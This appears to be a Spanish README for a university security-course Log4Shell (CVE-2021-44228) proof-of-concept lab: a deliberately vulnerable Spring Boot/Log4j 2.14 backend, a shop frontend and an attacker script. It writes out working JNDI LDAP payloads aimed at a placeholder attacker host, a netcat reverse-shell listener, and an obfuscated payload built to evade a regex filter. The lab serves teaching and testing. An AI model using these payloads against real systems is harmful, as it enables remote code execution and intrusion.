TPAS Log4Shell PoC

Este repositorio contiene una Prueba de Concepto (PoC) para la vulnerabilidad Log4Shell (CVE-2021-44228), desarrollada como parte del trabajo del curso de la unidad curricular TPAS en el Máster en Seguridad de la Información de la FCUP.

Incluye:

• Un frontend React SPA que simula un sitio web de comercio electrónico genérico con funcionalidades básicas como navegar por productos y ver detalles básicos como descripción, precio, calificación, etc., proporcionados a través de la API JSON dummy https://dummyjson.com/docs/products
• Un backend API REST Spring Boot que utiliza una versión vulnerable de Log4j 2.14.
• Un script bash que configura la mayor parte del lado atacante necesario para explotar Log4Shell.

Para ejecutar este stack necesitas:

• En el host objetivo:
  • Instalar docker
  • Reemplazar <target_ip> en la variable de entorno NEXT_PUBLIC_BACKEND_URL en docker-compose.yaml
  • Ejecutar docker-compose up
• En el host atacante:
  • Instalar java, python y maven
  • Abrir los puertos necesarios, ejecutar "./init.sh --help" para ver los puertos y lo que hace el script
  • Ejecutar el script init.sh
  • Ejecutar un listener netcat, nc -lvnp

Una vez que todo está en ejecución:

Coloca este payload en la barra de búsqueda (codificado en URL ya que estará en un parámetro de consulta GET):

%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D

O coloca este payload en los encabezados de una solicitud (puedes usar Burp Suite para interceptar una solicitud y modificarla):

${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}

En el sitio web, hay un ícono junto al nombre del usuario que permite alternar entre sanitizar la cadena registrada usando la expresión regular \$\{jndi:.*?} o no. Por defecto, la sanitización está deshabilitada, representada por un ícono de demonio rojo. Cuando la sanitización está habilitada, el ícono cambia a una cara sonriente verde.

Esta función se puede utilizar como una forma de simular un bypass de WAF; puedes agregar más expresiones regulares en la clase LoggerManager.java del backend.

Aquí hay un payload que no coincidirá con la expresión regular actual:

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}